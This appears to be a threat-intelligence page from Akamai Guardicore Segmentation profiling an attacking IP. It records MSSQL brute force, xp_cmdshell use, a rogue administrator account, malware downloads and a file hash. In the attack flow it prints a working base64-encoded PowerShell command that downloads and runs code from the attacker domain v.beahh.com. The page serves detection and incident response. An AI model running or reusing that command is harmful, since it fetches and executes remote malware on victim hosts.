Akamai Guardicore Segmentation CTI

Threat Information

Role	Attacker, Scanner
Services Targeted	MSSQL SMB
Tags	Service Start SMB CMD MSSQL IDS - Attempted User Privilege Gain User Created Execute MsSql Shell Command User Added to Group Service Creation PowerShell SMB Share Connect DNS Query Successful MSSQL Login Listening Scheduled Task Creation Successful SMB Login Download File Download and Execute MSSQL Brute Force Access Suspicious Domain
Associated Attack Servers	v.beahh.com 139.162.110.42

Basic Information

IP Address	58.40.195.202
Domain	-
ISP	-
Country	China
WHOIS	Created Date	-
	Updated Date	-
	Organization	-

First seen in Akamai Guardicore Segmentation	2023-04-27
Last seen in Akamai Guardicore Segmentation	2023-07-16

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using MSSQL with the following credentials: sa / ******** - Authentication policy: White List (Part of a Brute Force Attempt)	Successful MSSQL Login MSSQL Brute Force
A user logged in using MSSQL with the following credentials: sa / ******** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt)	Successful MSSQL Login MSSQL Brute Force
MSSQL executed 3 shell commands	Execute MsSql Shell Command
User k8h3d was created with the password *********** added to groups: Administrators and logged in using SMB 2 times	Successful SMB Login User Added to Group User Created
IDS detected Attempted User Privilege Gain : SQL sp_configure - configuration change	IDS - Attempted User Privilege Gain
IDS detected Attempted User Privilege Gain : sp_password - password change	IDS - Attempted User Privilege Gain
IDS detected Attempted User Privilege Gain : xp_cmdshell - program execution	IDS - Attempted User Privilege Gain
The command line powershell -ep bypass -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdgAuAGIAZQBhAGgAaAAuAGMAbwBtAC8AdgAnACsAJABlAG4AdgA6AFUAUwBFAFIARABPAE0AQQBJAE4AKQA= was scheduled to run by modifying C:\Windows\System32\Tasks\Microsoft\Windows\Bluetool
Process netsvcs Service Group started listening on ports: 65533	Listening
PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe
Process c:\windows\system32\windowspowershell\v1.0\powershell.exe attempted to access suspicious domains: v.beahh.com	Access Suspicious Domain DNS Query
A user logged in using MSSQL with the following credentials: sa / ******** - Authentication policy: Previously Approved User (Part of a Brute Force Attempt) 2 times	Successful MSSQL Login MSSQL Brute Force
A user logged in using SMB with the following username: k8h3d - Authentication policy: Correct Password	Successful SMB Login
c:\windows\system32\services.exe installed and started %systemroot%\awozegzz.exe as a service named GrHv under service group None	Service Start Service Creation
The file C:\Windows\AwOzEGzZ.exe was downloaded and executed	Download and Execute
C:\Windows\temp\svchost.exe was downloaded	Download File
Connection was closed due to timeout

Associated Files

C:\wgiHxLhB.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes

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Threat Information

Basic Information

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Associated Files